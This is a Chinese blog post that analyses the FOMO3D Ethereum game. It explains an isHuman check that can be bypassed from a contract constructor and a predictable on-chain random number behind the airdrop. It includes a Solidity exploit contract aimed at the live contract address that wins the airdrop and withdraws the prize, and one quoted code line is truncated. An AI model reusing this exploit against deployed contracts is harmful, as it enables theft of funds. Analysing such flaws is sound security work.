热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【FOMO3d】的隐藏彩(lou)蛋(dong)

七月初推出的一款资金盘游戏fomo3d,终于在十几天后成功引爆了中国的链圈和币圈。游戏规则介绍在每一局游戏的开始,玩家都可以用以太币ETH来购买游戏道具

七月初推出的一款资金盘游戏fomo3d,终于在十几天后成功引爆了中国的链圈和币圈。

游戏规则介绍

在每一局游戏的开始,玩家都可以用以太币ETH来购买游戏道具key,相当于往资金盘里的投资。游戏的倒计时为24小时,每当有新人买入key时,游戏就会自动延长30s,但网页上的倒计时仍为24小时。fomo3d主页

截止发文,Time Purchased已经增长到了30+年,大家可以自行计算有多少人买入了key。

最终这个资金盘的资金将会有7个流向:

  • 滚入下一轮游戏
  • 本轮游戏的奖金
  • P3D Token奖励
  • 佣金奖励
  • 社区基金
  • 社区基金
  • 空投
  • 系统运行成本

最后一个买key的人将会拿走资金盘中的48%的以太币,作为奖励。看看首页的数字,就可以想见游戏的疯狂程度。

安全隐患

截至发稿,没有重大安全漏洞披露,即管理者后门或者攻击者直接可以转移合约内ETH的漏洞,可暂时视为安全。不过还是有一个小漏洞值得大家关注,即modifier对普通账户(外部账户)和合约账户的判断。其初衷是好的,保证散户玩家的公平性,但是由于判断逻辑的偏差直接导致了该方法失效。

下图是从etherscan网站上合约地址中的代码截图:

fomo3d-isHuman

此修改器用于限制调用方法者只能是普通账户(无法执行复杂的代码,也无法重入)。其中,通过判断地址内的extcodesize是否为0来判断该地址是否为普通账户。但是当合约正在执行构造函数并部署时,其extcodesize也为0,也就是说合约完全可以通过在constructor中调用方法而绕过该判断。

攻击的方向有了,下面就剩下从哪里下手了。

这时我们注意到空投逻辑:

/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{uint256 seed = uint256(keccak256(abi.encodePacked((block.timestamp).add(block.difficulty).add((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add(block.gaslimit).add((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add(block.number))));if((seed - ((seed / 1000) * 1000)) }

大家可以看到,与其说是随机数,不如说是基于链状态的伪随机数。此时,我们可以不断地部署合约并在合约的constructor中计算随机数的值,一旦发现有利可图,就可以调用FOMO3d合约中的相应方法。

接下来,我们浏览完整的代码,找到airdrop()在哪里被使用,我们就可以发现:

  • 只要玩家投入超过0.1-1ETH,就有机会可以赢得空投奖池的25%;
  • 投入1-10ETH,有机会赢得空头奖池的50%;
  • 投入10+ETH,则有机会赢得空投奖池的75%;

上面提到的有机会,就是指上面的伪随机数的计算符合要求。

到这里,最后一块拼图也补齐了。我们可以创造一个智能合约,通过计算随机数,就可以100%获得空投。我们给出了一个代码范例如下图(友情提醒:下面的代码未经测试,是仅表示思路的“伪代码”,并不保证功能上的成功):

pragma solidity ^0.4.24;interface FoMo3DlongInterface {function airDropTracker_() external returns (uint256);function airDropPot_() external returns (uint256);function withdraw() external;
}contract PwnFoMo3D {constructor() public payable {// Link up the fomo3d contract and ensure this whole thing is worth itFoMo3DlongInterface fomo3d &#61; FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);if (fomo3d.airDropPot_() <0.4 ether) {revert();}// Calculate whether this transaction would produce an airdrop. Take the// "random" number generator from the FoMo3D contract.uint256 seed &#61; uint256(keccak256(abi.encodePacked((block.timestamp) &#43;(block.difficulty) &#43;((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) &#43;(block.gaslimit) &#43;((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) &#43;(block.number))));uint256 tracker &#61; fomo3d.airDropTracker_();if((seed - ((seed / 1000) * 1000)) >&#61; tracker) {revert();}// Ok, seems we can win the airdrop, pwn the contractaddress(fomo3d).call.value(0.1 ether)();fomo3d.withdraw();selfdestruct(msg.sender);}
}

再次提醒&#xff0c;上面的代码未经测试。因为每次调用airdrop都意味着我们必须损失0.1个以太币&#xff0c;仅当你确保你的空投奖励大于0.1以太币时&#xff0c;上述方法才值得尝试。也就是说只有空投奖池总共需要大于0.4以太币。已经有人尝试空投攻击2天了&#xff1a;

https://etherscan.io/txs?a&#61;0x...

https://etherscan.io/tx/0x86c...

通过浏览其中一笔成功的交易我们可以看到&#xff0c;攻击者的代码更加复杂&#xff1a;他们尝试通过部署新合约来获得超额的空投奖励&#xff0c;但是当随机数计算不通过时&#xff0c;选择迭代创建合约直到有一个成功的&#xff0c;而不是选择使用revert()

关于该漏洞的团队回应

对此&#xff0c;团队本身的态度很随意&#xff0c; 表示一切尽在预料之内。并解释airdrops只是独立的非常小的奖金池&#xff0c;攻击也无伤大雅。&#xff08;此条推特貌似已删除&#xff09;

fomo3d_teamjust

FOMO3d VS ethereum foundation

自从fomo3d大火之后&#xff0c;该团队一直尝试在twitter上呼叫V神&#xff0c;以发现且公开EVM诸多重大漏洞为要挟呼叫V神正面回应&#xff1a;

fomo3d_to_v1

&#xff0c;并插播各种战果炫耀图&#xff08;参加人数、集资速度和量级、造成以太坊堵塞程度历史罕见等&#xff09;。从一开始的殷切呼唤&#xff0c;到始终没有得到V神正面回复之后表演失望。

fomo3d_to_eth2

此间&#xff0c;以太坊的team leader - peter倒是有过回应&#xff0c;表示这并不是漏洞&#xff0c;这些现象/行为都是文档里提到过的&#xff0c;不要想着用这种大众敏感词吸引注意力。想蹭V神热度的话&#xff0c;请报点猛料好么。

以太peter

参考链接&#xff1a;

https://www.reddit.com/r/ethe...

最后&#xff0c;不知道大家对这个“庞氏游戏”有什么自己的看法&#xff0c;可以尽情留言。



推荐阅读
author-avatar
最佳牛牛1
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有